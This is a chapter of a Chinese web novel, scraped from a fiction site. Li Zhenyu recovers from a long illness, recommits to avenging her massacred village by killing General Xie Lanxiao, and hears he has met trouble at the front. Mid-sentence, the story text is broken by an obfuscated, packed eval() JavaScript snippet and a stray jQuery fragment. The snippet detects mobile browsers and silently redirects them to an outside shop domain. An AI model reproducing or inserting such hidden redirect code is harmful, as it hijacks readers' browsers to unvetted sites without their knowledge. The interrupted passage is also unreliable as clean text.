文趣网 > 其他小说 > 仇仁 > 23. 无需
    好久都没这样哭过了,李珍玉靠在小雯的肩上哭了很久很久,眼泪就像是断了线的珠子,直到再也没了力气,才重新躺回了床上。

    “珍儿,你…还好吗?”看着无比憔悴又无比痛苦的李珍玉,小雯的眼中充满了担忧,她用手帕轻轻擦拭着李珍玉脸上残存的泪珠。

    李珍玉还是没有说话,她现在头痛不已,刚染了风寒又这样大哭一场,任谁的身体也遭不住。

    此时李珍玉的眼神里毫无生,小雯叹了叹气“珍儿,我不知道你经历了什么,你不想说我也不问,但是你别这样好不好,不要这样糟践自己的身子,无论什么事情,你都要先养好身体才能继续走下去。”

    “珍儿!你听到了吗?我求你了,你别这样,我真的很担心。”小雯紧紧握着李珍玉的手,低着头也留下了一滴眼泪,这滴泪很滚烫,掉落到了李珍玉的手上,不禁缩了缩手指。

    李珍玉这才感受到一丝温度,她抬眸看着小雯,看着她也泪眼模糊的眼神,缓了缓神开口道“小雯,我,我只是不明白,明明有罪之人带给了别人无尽的痛苦与折磨,可他们却放下屠刀就能立地成佛,可被加害过的人呢?凭什么因为他放下刀,就被所有人告诉,他是好人,他是善人,他一定要长命百岁,你要是杀了他,你就是与全天下为敌,凭什么?凭什么啊?”

    说罢李珍玉抬起一只手盖住了双眼,嘴里还念叨着“凭什么?凭什么所有人都不知道他犯下的罪恶,既然如此,又为什么还要留下一个知道的人。”

    小雯默默的听着,擦了擦眼泪,轻轻摇着头道“珍儿,不是这样的,这个世界上没有这样的规定,坏人放下刀,也不是一定就要原谅他的,就算是全世界都劝你,都逼你放下,你也不必因为放不下而自责,没有人经历过你所受到的伤害,所以没有人能够指责你,没有这样的道理,珍儿,没有这样的道理。”

    小雯又用手帕擦拭了擦李珍玉额间的细汗,李珍玉感受着她温柔的动作,缓缓移开了手,定定的看着小雯。

    “珍儿,我还是那句话,你不想和我说,我什么都不会问你,也不会去胡乱猜想,但是我会永远站在你这边,你可以永远相信我,我发誓。”

    小雯冲着李珍玉点了点头,眼神很是认真。

    “小雯…”

    “珍儿,无论你想要做什么事,我都希望你知道你不是一个人,我会一直陪着你。”

    李珍玉抿着唇,眼泪又流了下来“小雯,谢谢,我…不知道该如何…”

    “珍儿,你我之间不必说谢,也不必报答,你早就报答过我了,用你的真心,你忘了吗珍儿?”小雯嘴角挂着笑,站起身将李珍玉重新扶了起来“所以,珍儿,你不要这样,我真的很担心很担心,就当是为了我,把自己身子养好,好吗?”

    “嗯,好。”李珍玉坐起身,上身靠在床头的墙上。

    “那先把药喝了,你这次病的真的很重,你都不知道你昏迷了多久,药都凉了好几碗。”

    小雯拿起一边还温热的汤药,用勺子舀了一点递到了李珍玉的嘴边“来,珍儿。”

    李珍玉张开嘴喝了进去,治病的药是真苦啊,可还有什么比她这一生还要苦呢?有时候她真的很想随爹娘而去,可梦里面娘总是和她说,让她活下去,让她一定要活着,可是活下去又有什么好的?让无数人求而不得的生,对她来说不过是无法解脱,生不如死罢了。

    好在还有小雯,也只有小雯了。

    这一次不知道怎么了,李珍玉真的病的很重很重,一连卧床了半个月也不见好,以往她的身体素质一直是很好的,左思右想觉得可能是这郎中配的药不行,于是她便每天自己亲自配药煎药。

    这段时间也没在见过谢澜骁,谢老夫人倒是总来,不过她现在实在是没心情应付她,不是说头疼就是身体没力气把她打发走。

    日子就这样一天一天过着,这天李珍玉下了床,打开窗子,一片红棕色的落叶飘进了屋子里“原来已经这么久了啊,已经入秋了。”

    小雯端着药走了进来“珍儿你怎么在吹风啊,再着凉怎么办?”

    “小雯,我哪有那么容易病。”李珍玉有些无奈的笑笑。

    “那也不知道是谁,出一趟远门结果回来病了一个月。”嘴上虽然嗔怪着,手上却端起药碗,放在嘴边吹了吹,喂向李珍玉。

    李珍玉笑着接过了药碗“我自己喝就行,小雯,在我心里你不是我的丫鬟,所以不用伺候我。”

    “好,好,那你自己喝。”随后走到了李珍玉身边也看向窗外。

    “珍儿,你真的不去看看老夫人吗,她这些日子状态不太好,看起来很难过。”

    李珍玉眉心微蹙“因为我的病吗?”

    “不全是”小雯有些狐疑的看向她,“珍儿,你不是吧,连谢将军去前线打仗的事情都不知道?”

    谢澜骁去打仗了?什么时候的事,嗷,对了之前好像是有人和她提过,不过她当时不想听有关谢澜骁的任何信息,所以就没往心里去。

    “你真不知道啊?”小雯的手拍了一下脑袋无奈道“大概十天之前,朝廷的人就急急忙忙的来府上与将军商谈此事,当天将军和魏副将就备马走了,连晚饭都没来得及吃,老夫人因此这些天都很忧虑。”

    “和南夷打仗吗?”

    “对啊,不然还能有哪里?”

    南夷,奇怪了,才刚打完了两年仗,这才修整了多久,四个多月就又重振旗鼓了?更何况他们刚打了胜仗啊。

    李珍玉转头问小雯“你知道具体的情况吗,怎么会这么突然?”

    “这我就不知道,不过看老夫人的样子,情况应该是很不好。”

    算了,其实谢澜骁去不去打仗,凶不凶险和她没什么关系,只是一打仗就必然会殃及百姓罢了。

    “走吧,随我去看看谢老夫人吧。”在小雯面前她没有叫谢老夫人母亲,在她心里她只有一个娘,就是她的亲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911883|213146||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    生母亲李明月,谢老夫人?呵,只是一个值得她利用的女人。

    李珍玉和小雯先是去了谢老夫人的住处,但谢老夫人没有在屋里,掌事嬷嬷告诉李珍玉谢老夫人现在正一个人在花园里坐着,不让旁人跟着。

    李珍玉只能又来到了府上花园,想当初她为了接近老夫人还在这里修剪过花枝,几个月之前她还带着满腔的复仇热血来到了谢府,可如今入了秋这些美丽的花也谢了。

    或许她真的应该重新找回那份坚决了,就像小雯说的,他就算变好了又能怎么样呢?就算整个县的百姓都跪在他面前,说他是好人,那有如何呢?就因为这些她就不能杀他了?她杀他就有罪恶了吗?那当初整个李家村的一百零七条性命又是何其无辜。

    所以她的仇还是要报,无论如何,哪怕是与所有人为敌,谢澜骁也必须死在她手里。

    谢老夫人坐在椅子上,身旁果真一个人都没有,一阵风吹来,将几片枯叶吹到了她的头发上,这几日不见,不曾想,谢老夫人本来还墨色的头发现在已经花白了大半。

    李珍玉走上前,将那几片枯叶拿了下去。

    “不是说了嘛,让我自己在这里坐一会,你们不要来打扰我。”谢老夫人头都没抬就开始赶人,这和从前她温和亲人的样子多少有些不同了。

    “母亲连我也不见吗?”

    听到这个称呼,谢老夫人猛的一回头,看清来人是李珍玉后,眸色还是微不可察的暗了暗。

    “珍儿,你的病好了?”老夫人还是很开心的,儿子战事吃紧远赴前线,女儿又大病不起,除了丫鬟谁也不理,现在终于病好了,肯来看看她,也算了给了她一些慰藉。

    “嗯,女儿已经痊愈了,方才嬷嬷说您这几日忧思过度,茶饭不思,可是遇上什么事了?”

    “珍儿,唉,这几日你病着,我本不想告诉你的,怕你更忧心,病情加重。”谢老夫人一脸的疲惫的扶了扶头。

    见状李珍玉便为她揉了揉头,接着问道“我听说了南夷来犯,兄长已经上了战场,母亲可是因为这件事思虑?”

    “嗯”谢老夫人在李珍玉娴熟的按摩手法下,紧绷的神情稍微缓了缓“听朝廷那人说,这次仗异常的凶险,南夷人直接夜袭了一座城,城里没有任何准备,很快就被攻下,泱泱大夏寸土不让,如今却被南夷夺地屠城。”

    “什么…屠城?”李珍玉手指的力道不自觉收紧了。

    “是啊,骁儿得知这个消息后,立即就备马走了,可这次南夷分明就是有备而来。”

    两人正说着,身后一个小厮就急匆匆的跑了过来,他的身后还跟着一个穿着盔甲的人。

    “老夫人,老夫人,不好了,这位将军方才说谢将军出事了!”那小厮跑的上气不接下气,却因为着急连缓都不敢缓。

    谢老夫人双眼一睁,猛站起身,双手还是抖动“怎么回事,骁儿怎么了?”

    李珍玉在她身边扶着她,眼神动了动。